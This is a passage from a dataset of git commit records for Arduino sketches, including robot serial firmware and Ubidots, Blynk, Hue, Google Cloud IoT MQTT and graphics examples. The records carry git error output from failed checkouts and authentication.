ECHO_STATE_TIMEOUT;\n\t\t\t\t\t\tsensor.ts = ts;\n\t\t\t\t\t\tsensor.lastValue = 0;\n\t\t\t\t\t}\n\n\t\t\t\t} else if (sensor.state == ECHO_STATE_GOOD_RANGE || sensor.state == ECHO_STATE_TIMEOUT) {\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(6); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\t\t\t\tSerial.write(SENSOR_DATA);\n\t\t\t\t\tSerial.write(i);\n\t\t \/\/ write the long value out\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 24));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 16));\n\t\t\t\t\tSerial.write((byte)(sensor.lastValue >> 8));\n\t\t\t\t\tSerial.write((byte) sensor.lastValue & 0xFF);\n\t\t\t\t\tsensor.state = ECHO_STATE_START;\n\t\t\t\t} \/\/ end else if\n\n\t\t\t} \/\/ if (sensor.type == SENSOR_ULTRASONIC)\n\n\t\t} \/\/ end isRunning\n\n\t} \/\/ end for each sensor\n\n\t\/\/ TODO - brake - speed - fractional stepping - other stepper types\n\tfor (int i = 0; i < STEPPERS_MAX; ++i) {\n\t\tstepper_type& stepper = steppers[i];\n\t\tif (stepper.isRunning == true){\n\t\t\tif (stepper.type == STEPPER_TYPE_POLOLU){\n\n\t\t\t\t\/\/ direction is already set in initial STEPPER_MOVE\n\n\t\t\t\tif (stepper.currentPos < stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos++;\n\t\t\t\t} else if (stepper.currentPos > stepper.targetPos) {\n\n\t\t\t\t \/\/ step - POLOLU has single step pin (dir is on step0)\n\t\t\t\t\tdigitalWrite(stepper.step1, 1);\n\t\t\t\t\tdelayMicroseconds(1); \/\/ :P should require another state? loop is ~106us min ?\n\t\t\t\t\tdigitalWrite(stepper.step1, 0);\n\n\t\t\t\t\tstepper.currentPos--;\n\n\t\t\t\t} else {\n\t\t\t\t\tstepper.isRunning = false;\n\t\t\t\t\tstepper.currentPos = stepper.targetPos; \/\/ forcing ? :P\n\t\t\t\t\tSerial.write(MAGIC_NUMBER);\n\t\t\t\t\tSerial.write(5); \/\/ size = 1 FN + 1 eventType + 1 index + 1 curPos\n\t\t\t\t\tSerial.write(STEPPER_EVENT);\n\t\t\t\t\tSerial.write(STEPPER_EVENT_STOP);\n\t\t\t\t\tSerial.write(stepper.index); \/\/ send my index\n\t\t\t\t\tSerial.write(stepper.currentPos >> 8); \/\/ MSB\n\t\t\t\t\tSerial.write(stepper.currentPos & 0xFF);\t\/\/ LSB\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tunsigned long now = micros();\n\tloadTime = now - lastMicros; \/\/ avg outside\n \tlastMicros = now;\n\n\t\/\/ report load time\n\tif (loadTimingEnabled && (loopCount%loadTimingModulus == 0)) {\n\n \t\t\/\/ send it\n\t\tSerial.write(MAGIC_NUMBER);\n\t\tSerial.write(5); \/\/ size 1 FN + 4 bytes of unsigned long\n\t\tSerial.write(LOAD_TIMING_EVENT);\n \/\/ write the long value out\n\t\tSerial.write((byte)(loadTime >> 24));\n\t\tSerial.write((byte)(loadTime >> 16));\n\t\tSerial.write((byte)(loadTime >> 8));\n\t\tSerial.write((byte) loadTime & 0xFF);\n\t}\n\n\n} \/\/ end of big loop\n\nunsigned long getUltrasonicRange(sensor_type& sensor){\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.trigPin, OUTPUT);\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\t\tdelayMicroseconds(2);\n\n\t\tdigitalWrite(sensor.trigPin, HIGH);\n\t\tdelayMicroseconds(10);\n\n\t\tdigitalWrite(sensor.trigPin, LOW);\n\n\t\t\/\/ added for sensors which have single pin !\n\t\tpinMode(sensor.echoPin, INPUT);\n\t\t\/\/ CHECKING return pulseIn(sensor.echoPin, HIGH, sensor.timeoutUS);\n\t\t\/\/ TODO - adaptive timeout ? - start big - pull in until valid value - push out if range is coming close\n\t\treturn pulseIn(sensor.echoPin, HIGH);\n}\n\nvoid sendServoEvent(servo_type& s, int eventType){\n \t\/\/ check type of event - STOP vs CURRENT POS\n\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(5); \/\/ size = 1 FN + 1 INDEX + 1 eventType + 1 curPos\n\tSerial.write(SERVO_EVENT);\n\tSerial.write(s.index); \/\/ send my index\n\t\/\/ write the long value out\n\tSerial.write(eventType);\n\tSerial.write(s.currentPos);\n\tSerial.write(s.targetPos);\n}\n\nvoid sendError(int type){\n\tSerial.write(MAGIC_NUMBER);\n\tSerial.write(2); \/\/ size = 1 FN + 1 TYPE\n\tSerial.write(MRLCOMM_ERROR);\n\tSerial.write(type);\n}\n\n\/* SEEMED LIKE A GOOD IDEA NOT !!!!\nvoid sendMsg ( int num, ... )\n{\n\tva_list arguments;\n\t\/\/ Initializing arguments to store all values after num\n\tva_start ( arguments, num );\n\n\t\/\/ write header\n\tmsgBuf[0] = MAGIC_NUMBER;\n\tmsgBuf[1] = num;\n\n\t\/\/ copies msg payload to buffer after header\n\tfor ( int x = 2; x < num+2; x++ )\n\t{\n\t\tmsgBuf[x] = (byte) va_arg ( arguments, int );\n\t}\n\tva_end ( arguments ); \/\/ Cleans up the list\n\tSerial.write(msgBuf, num + 2);\n\treturn;\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Alessandruino\/MRLCommOculus.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"26c10e1ddf5eeb0b55a3774683f208fbc304af0e","subject":"Lab2 660 Hz Detect","message":"Lab2 660 Hz Detect","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/lab2\/Lab2_660HzDetect.ino","new_file":"code dump\/lab2\/Lab2_660HzDetect.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/lab2\/Lab2_660HzDetect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d327655e272fe24aef85a0819e404a8b922b1d41","subject":"Added Display","message":"Added Display\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8d689a2a3185d10964e0529cd55199a64c6c2dad","subject":"erasing repeated example","message":"erasing repeated example\n","repos":"ubidots\/ubidots-particle,ubidots\/ubidots-particle","old_file":"examples\/SendValuesHttp\/SendValuesHttp.ino","new_file":"examples\/SendValuesHttp\/SendValuesHttp.ino","new_contents":"\/\/ This example is to get the last value of variable from the Ubidots API\n\n\/\/ This example is to save multiple variables to the Ubidots API with TCP method\n\n\/****************************************\n * Include Libraries\n ****************************************\/\n\n#include \"Ubidots.h\"\n\n\/****************************************\n * Define Constants\n ****************************************\/\n\n#ifndef TOKEN\n#define TOKEN \"Your_Token\" \/\/ Put here your Ubidots TOKEN\n#endif\n\nUbidots ubidots(TOKEN, UBI_HTTP);\n\n\n\/****************************************\n * Auxiliar Functions\n ****************************************\/\n\n\/\/Put here your auxiliar functions\n\n\n\/****************************************\n * Main Functions\n ****************************************\/\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ubidots.setDebug(true); \/\/ Uncomment this line for printing debug messages\n}\n\nvoid loop() {\n float value1 = analogRead(A0);\n float value2 = analogRead(A1);\n float value3 = analogRead(A2);\n ubidots.add(\"Variable_Name_One\", value1); \/\/ Change for your variable name\n ubidots.add(\"Variable_Name_Two\", value2);\n ubidots.add(\"Variable_Name_Three\", value3);\n\n bool bufferSent = false;\n bufferSent = ubidots.send(); \/\/ Will send data to a device label that matches the device Id\n\n if(bufferSent){\n \/\/ Do something if values were sent properly\n Serial.println(\"Values sent by the device\");\n }\n\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SendValuesHttp\/SendValuesHttp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"688fbf3b0211d4862501b221c3a6d71c9e51bb36","subject":"Starting project","message":"Starting project\n","repos":"dangu\/moisture_meter","old_file":"moisture\/moisture.ino","new_file":"moisture\/moisture.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"02640914fb6f94834c392c7591a0ad6f799e413b","subject":"all timer test done (missing calcCharge test)","message":"all timer test done (missing calcCharge test)\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dc78e376851c7e96d256b645bc1b54c820aa1455","subject":"Add DFRobot examples","message":"Add DFRobot examples\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_Bluetooth\/DFRobot_Bluno_BLE_Link\/DFRobot_Bluno_BLE_Link.ino","new_file":"examples\/Boards_Bluetooth\/DFRobot_Bluno_BLE_Link\/DFRobot_Bluno_BLE_Link.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use DFRobot Bluno or BLE Link module\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/ You could use a spare Hardware Serial on boards that have it (like Mega)\n#include <SoftwareSerial.h>\nSoftwareSerial DebugSerial(2, 3); \/\/ RX, TX\n\n#define BLYNK_PRINT DebugSerial\n#define BLYNK_USE_DIRECT_CONNECT\n#include <BlynkSimpleSerialBLE.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n DebugSerial.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(115200);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_Bluetooth\/DFRobot_Bluno_BLE_Link\/DFRobot_Bluno_BLE_Link.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54ee8846c11bc2c2f4072c97a297cb98e65efd08","subject":"Added ack for PWM set","message":"Added ack for PWM set\n","repos":"snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation","old_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/snowdenator\/EarlHomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ed86253b55fc87f0d2b71ad73565b33d39357552","subject":"added change of http header","message":"added change of http header\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a033d413b12ba00254667a774996c84c8248100e","subject":"Blink the Philips Hue lights","message":"Blink the Philips Hue lights\n\nreplace SSID, PASSWORD, BRIDGE_IP, USERNAME\n","repos":"tomvanrooij\/ESPHue","old_file":"examples\/blink\/blink.ino","new_file":"examples\/blink\/blink.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESPHue.h>\n\nconst char* ssid = \"SSID\"; \/\/ your network SSID (name)\nconst char* pass = \"PASSWORD\"; \/\/ your network password\n\n\/\/ bridge ip username\nESPHue h = ESPHue(\"BRIDGE_IP\", \"USERNAME\");\n\nvoid setup() {\n Serial.begin(115200);\n connectToWifi();\n}\n\nvoid loop() {\n h.HSB(2000, 255, 255); \/\/configure hsb\n h.set(1); \/\/apply set hsb to lamp 1\n h.set(2); \/\/apply set hsb to lamp 2\n\n delay(1000);\n\n h.off(); \/\/configure off\n h.set(1); \/\/apply set off to lamp 1\n h.set(2); \/\/apply set off to lamp 2\n\n delay(1000);\n}\n\nvoid connectToWifi() {\n Serial.println();\n Serial.println();\n Serial.print(F(\"Attempting to connect to network: \"));\n Serial.println( ssid );\n\n uint8_t timeout = 0;\n WiFi.begin( ssid, pass );\n while( WiFi.status() != WL_CONNECTED && timeout < 250) {\n delay(250);\n Serial.print('.');\n timeout++;\n }\n Serial.println();\n if( timeout >= 250 ) Serial.println(F(\"Failed to connect to Wifi!\"));\n else Serial.println(F(\"Connected to wifi\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c9d7acbfed914b6fc527d9ce230aa8916426f78","subject":"Example Program for Displaying Chinese Characters (#115)","message":"Example Program for Displaying Chinese Characters (#115)\n\n* Example Program for Displaying Chinese Characters\r\n\r\n* Fix Geometry.h not found\r\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Stick\/ChineseCharactersDisplay\/ChineseCharactersDisplay.ino","new_file":"examples\/Stick\/ChineseCharactersDisplay\/ChineseCharactersDisplay.ino","new_contents":"#include <Arduino.h>\n#include <U8g2lib.h>\n\n#define BtnPin 35\n#define BuzzerPin 26\n\nU8G2_SH1107_64X128_F_4W_HW_SPI u8g(U8G2_R0,14, \/* dc=*\/ 27, \/* reset=*\/ 33);\n\nint btnClicked;\nint oledState;\nunsigned long initTime;\n\nvoid setup() {\n u8g.begin();\n u8g.setFont(u8g2_font_wqy12_t_gb2312);\n u8g.enableUTF8Print();\n \n pinMode(BtnPin, INPUT_PULLUP);\n attachInterrupt(BtnPin,pressed,FALLING);\n \n pinMode(BuzzerPin, OUTPUT);\n digitalWrite(BuzzerPin, LOW);\n \n btnClicked=0;\n oledState=0;\n \n delay(500);\n initTime=millis();\n}\n\nvoid pressed()\n{\n btnClicked=1;\n}\n\nvoid draw(void)\n{\n u8g.firstPage(); \n do {\n u8g.drawUTF8(2,14*1+4,\" \u9053\u5ffd\u601d\");\n u8g.drawUTF8(2,14*2+4,\" \uff0c\u5df2\u541b\");\n u8g.drawUTF8(2,14*3+4,\"\u53e4 \u52aa\u665a\u4ee4\");\n u8g.drawUTF8(2,14*4+4,\"\u8bd7 \u529b\u3002\u4eba\");\n u8g.drawUTF8(2,14*5+4,\"\u5341 \u52a0\u5f03\u8001\");\n u8g.drawUTF8(2,14*6+4,\"\u4e5d \u9910\u6350\uff0c\");\n u8g.drawUTF8(2,14*7+4,\"\u9996 \u996d\u52ff\u5c81\");\n u8g.drawUTF8(2,14*8+4,\" \u3002\u590d\u6708\");\n \n u8g.drawLine(10+2,14*2+4,12+2,14*2+4);\n u8g.drawLine(12+2,14*2-1,12+2,14*2+4);\n u8g.drawLine(12+2,14*2-1,0+2,14*2-1);\n u8g.drawLine(0+2,14*2+1,0+2,14*2-1);\n u8g.drawLine(0+2,14*2+1,10+2,14*2+1);\n u8g.drawLine(10+2,14*2+1,10+2,14*2+3);\n \n u8g.drawLine(1+2,14*8-4,-1+2,14*8-4);\n u8g.drawLine(-1+2,14*8+1,-1+2,14*8-4);\n u8g.drawLine(-1+2,14*8+1,11+2,14*8+1);\n u8g.drawLine(11+2,14*8-1,11+2,14*8+1);\n u8g.drawLine(11+2,14*8-1,1+2,14*8-1);\n u8g.drawLine(1+2,14*8-1,1+2,14*8-3);\n } while( u8g.nextPage() );\n}\nvoid loop() {\n if(btnClicked==1)\n {\n oledState=(oledState+1)%2;\n if(oledState==1)u8g.noDisplay();\n else u8g.display();\n initTime=millis();\n btnClicked=0;\n }\n if (millis()-initTime>60000)esp_deep_sleep_start();\n draw();\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Stick\/ChineseCharactersDisplay\/ChineseCharactersDisplay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2ca5aba5cbc77742d4a0f001385f461e6b3e88a7","subject":"Note to self - test. Got it? Good!","message":"Note to self - test. Got it? Good!","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9d5aaafd5baa377f0f593dce949fadbed3fd999c","subject":"[feat] Add esp32 mqtt example (#4)","message":"[feat] Add esp32 mqtt example (#4)\n\n* [feat] Add esp32 mqtt example\r\n* [refactor] Apply Google cpp code style and change to String class\r\n","repos":"GoogleCloudPlatform\/google-cloud-iot-arduino,GoogleCloudPlatform\/google-cloud-iot-arduino,GoogleCloudPlatform\/google-cloud-iot-arduino","old_file":"examples\/Esp32-mqtt\/Esp32-mqtt.ino","new_file":"examples\/Esp32-mqtt\/Esp32-mqtt.ino","new_contents":"\/******************************************************************************\n * Copyright 2018 Google\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n#include <Arduino.h>\n#include <WiFi.h>\n#include <WiFiClientSecure.h>\n#define NO8266\n#include <time.h>\n#include \"jwt.h\"\n\n#define MQTT_MAX_PACKET_SIZE 512\n#include <PubSubClient.h>\n\n\/\/ Wifi newtork details.\nconst char *ssid = \"SSID\";\nconst char *password = \"PASSWORD\";\n\n\/\/ Cloud iot details.\nconst char *project_id = \"project-id\";\nconst char *location = \"us-central1\";\nconst char *registry_id = \"my-registry\";\nconst char *device_id = \"my-esp32-device\";\n\n\/\/ To get the private key run (where private-key.pem is the ec private key\n\/\/ used to create the certificate uploaded to google cloud iot):\n\/\/ openssl ec -in <private-key.pem> -noout -text\n\/\/ and copy priv: part.\nconst char *private_key_str =\n \"6e:b8:17:35:c7:fc:6b:d7:a9:cb:cb:49:7f:a0:67:\"\n \"63:38:b0:90:57:57:e0:c0:9a:e8:6f:06:0c:d9:ee:\"\n \"31:41\";\n\n\/\/ To get the certificate for your region run:\n\/\/ openssl s_client -showcerts -connect mqtt.googleapis.com:8883\n\/\/ Copy the certificate (all lines between and including ---BEGIN CERTIFICATE---\n\/\/ and --END CERTIFICATE--) to root.cert and put here on the root_cert variable.\n\nconst char *root_cert =\n \"-----BEGIN CERTIFICATE-----\\n\"\n \"MIIEXDCCA0SgAwIBAgINAeOpMBz8cgY4P5pTHTANBgkqhkiG9w0BAQsFADBMMSAw\\n\"\n \"HgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFs\\n\"\n \"U2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0xNzA2MTUwMDAwNDJaFw0yMTEy\\n\"\n \"MTUwMDAwNDJaMFQxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3Qg\\n\"\n \"U2VydmljZXMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzMw\\n\"\n \"ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDKUkvqHv\/OJGuo2nIYaNVW\\n\"\n \"XQ5IWi01CXZaz6TIHLGp\/lOJ+600\/4hbn7vn6AAB3DVzdQOts7G5pH0rJnnOFUAK\\n\"\n \"71G4nzKMfHCGUksW\/mona+Y2emJQ2N+aicwJKetPKRSIgAuPOB6Aahh8Hb2XO3h9\\n\"\n \"RUk2T0HNouB2VzxoMXlkyW7XUR5mw6JkLHnA52XDVoRTWkNty5oCINLvGmnRsJ1z\\n\"\n \"ouAqYGVQMc\/7sy+\/EYhALrVJEA8KbtyX+r8snwU5C1hUrwaW6MWOARa8qBpNQcWT\\n\"\n \"kaIeoYvy\/sGIJEmjR0vFEwHdp1cSaWIr6\/4g72n7OqXwfinu7ZYW97EfoOSQJeAz\\n\"\n \"AgMBAAGjggEzMIIBLzAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0lBBYwFAYIKwYBBQUH\\n\"\n \"AwEGCCsGAQUFBwMCMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFHfCuFCa\\n\"\n \"Z3Z2sS3ChtCDoH6mfrpLMB8GA1UdIwQYMBaAFJviB1dnHB7AagbeWbSaLd\/cGYYu\\n\"\n \"MDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AucGtpLmdv\\n\"\n \"b2cvZ3NyMjAyBgNVHR8EKzApMCegJaAjhiFodHRwOi8vY3JsLnBraS5nb29nL2dz\\n\"\n \"cjIvZ3NyMi5jcmwwPwYDVR0gBDgwNjA0BgZngQwBAgIwKjAoBggrBgEFBQcCARYc\\n\"\n \"aHR0cHM6Ly9wa2kuZ29vZy9yZXBvc2l0b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEA\\n\"\n \"HLeJluRT7bvs26gyAZ8so81trUISd7O45skDUmAge1cnxhG1P2cNmSxbWsoiCt2e\\n\"\n \"ux9LSD+PAj2LIYRFHW31\/6xoic1k4tbWXkDCjir37xTTNqRAMPUyFRWSdvt+nlPq\\n\"\n \"wnb8Oa2I\/maSJukcxDjNSfpDh\/Bd1lZNgdd\/8cLdsE3+wypufJ9uXO1iQpnh9zbu\\n\"\n \"FIwsIONGl1p3A8CgxkqI\/UAih3JaGOqcpcdaCIzkBaR9uYQ1X4k2Vg5APRLouzVy\\n\"\n \"7a8IVk6wuy6pm+T7HT4LY8ibS5FEZlfAFLSW8NwsVz9SBK2Vqn1N0PIMn5xA6NZV\\n\"\n \"c7o835DLAFshEWfC7TIe3g==\\n\"\n \"-----END CERTIFICATE-----\\n\";\n\nNN_DIGIT priv_key[8];\nconst char *host = \"mqtt.googleapis.com\";\nconst int httpsPort = 8883;\n\/\/ const int httpsPort = 443;\n\nWiFiClientSecure client;\nPubSubClient mqttClient(client);\nString pwd;\nString jwt;\n\nlong lastMsg = 0;\nchar msg[20];\nint counter = 0;\n\nconst int LED_PIN = 5;\n\nString getJwt() {\n jwt = CreateJwt(project_id, time(nullptr), priv_key);\n return jwt;\n}\n\n\/\/ Fills the priv_key global variable with private key str which is of the form\n\/\/ aa:bb:cc:dd:ee:...\nvoid fill_priv_key(const char *priv_key_str) {\n priv_key[8] = 0;\n for (int i = 7; i >= 0; i--) {\n priv_key[i] = 0;\n for (int byte_num = 0; byte_num < 4; byte_num++) {\n priv_key[i] = (priv_key[i] << 8) + strtoul(priv_key_str, NULL, 16);\n priv_key_str += 3;\n }\n }\n}\n\n\/\/ Gets the google cloud iot http endpoint path.\nString get_path(const char *project_id, const char *location,\n const char *registry_id, const char *device_id) {\n return String(\"projects\/\") + project_id + \"\/locations\/\" + location +\n \"\/registries\/\" + registry_id + \"\/devices\/\" + device_id;\n}\n\nString get_config_topic(const char *device_id) {\n return String(\"\/devices\/\") + device_id + \"\/config\";\n}\n\nString get_events_topic(const char *device_id) {\n return String(\"\/devices\/\") + device_id + \"\/events\";\n}\n\nString get_state_topic(const char *device_id) {\n return String(\"\/devices\/\") + device_id + \"\/state\";\n}\n\nString get_client_id() {\n return get_path(project_id, location, registry_id, device_id);\n}\n\nvoid callback(char *topic, uint8_t *payload, unsigned int length) {\n Serial.print(\"Message received: \");\n Serial.println(topic);\n\n Serial.print(\"payload: \");\n char val[length];\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n val[i] = (char)payload[i];\n }\n Serial.println();\n\n \/\/ int ret = rbase64.decode(val);\n int ret = 0;\n if (ret == 0) {\n \/\/ we got '1' -> on\n if (val[0] == '1') {\n Serial.println(\"High\");\n digitalWrite(LED_PIN, HIGH);\n } else {\n \/\/ we got '0' -> on\n Serial.println(\"Low\");\n digitalWrite(LED_PIN, LOW);\n }\n } else {\n Serial.println(\"Error decoding\");\n }\n}\n\nvoid mqtt_connect() {\n \/* Loop until reconnected *\/\n while (!client.connected()) {\n Serial.println(\"MQTT connecting ...\");\n String pass = getJwt();\n Serial.println(pass.c_str());\n const char *user = \"unused\";\n String clientId = get_client_id();\n Serial.println(clientId.c_str());\n if (mqttClient.connect(clientId.c_str(), user, pass.c_str())) {\n Serial.println(\"connected\");\n String configTopic = get_config_topic(device_id);\n Serial.println(configTopic.c_str());\n mqttClient.setCallback(callback);\n mqttClient.subscribe(configTopic.c_str(), 0);\n } else {\n Serial.print(\"failed, status code =\");\n Serial.print(mqttClient.state());\n Serial.println(\" try again in 5 seconds\");\n \/* Wait 5 seconds before retrying *\/\n delay(5000);\n }\n }\n}\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n\n fill_priv_key(private_key_str);\n\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n Serial.println(\"Connecting to WiFi\");\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n }\n\n configTime(0, 0, \"pool.ntp.org\", \"time.nist.gov\");\n Serial.println(\"Waiting on time sync...\");\n while (time(nullptr) < 1510644967) {\n delay(10);\n }\n\n Serial.println(\"Connecting to mqtt.googleapis.com\");\n client.setCACert(root_cert);\n mqttClient.setServer(host, httpsPort);\n mqttClient.setCallback(callback);\n}\n\nvoid loop() {\n if (!mqttClient.connected()) {\n mqtt_connect();\n }\n\n mqttClient.loop();\n\n long now = millis();\n if (now - lastMsg > 3000) {\n lastMsg = now;\n if (counter < 1000) {\n counter++;\n snprintf(msg, 20, \"%d\", counter);\n \/* publish the message *\/\n String eventsTopic = get_events_topic(device_id);\n mqttClient.publish(eventsTopic.c_str(), msg);\n } else {\n counter = 0;\n }\n }\n\n \/\/ I had some issues on the PubSubClient without some delay\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Esp32-mqtt\/Esp32-mqtt.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1965b0327f2c485eafbfeff3bf3a60fd6d75f3e8","subject":"Bargraph example","message":"Bargraph example\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"contrib\/bargraph.ino","new_file":"contrib\/bargraph.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <GD2.h>\n\nvoid setup() \n{\n Serial.begin(1000000);\n GD.begin(~GD_STORAGE);\n printf(\"ok\\n\");\n\n GD.BitmapHandle(0);\n GD.cmd_setbitmap(0, BARGRAPH, 1280, 256);\n for (int i = 0; i < 1280; i++)\n GD.wr(i, random(256));\n}\n\nvoid loop()\n{\n GD.VertexFormat(0);\n\n GD.ClearColorRGB(0x000050);\n GD.Clear();\n\n\n GD.Begin(BITMAPS);\n GD.BitmapHandle(0);\n\n \/\/ First, draw the bargraph with no scaling\n GD.Vertex2f(0, 50);\n\n \/\/ Now scale in y by 0.5\n GD.cmd_loadidentity();\n GD.cmd_scale(F16(1), F16(0.5));\n GD.cmd_setmatrix();\n\n GD.Vertex2f(0, 500);\n 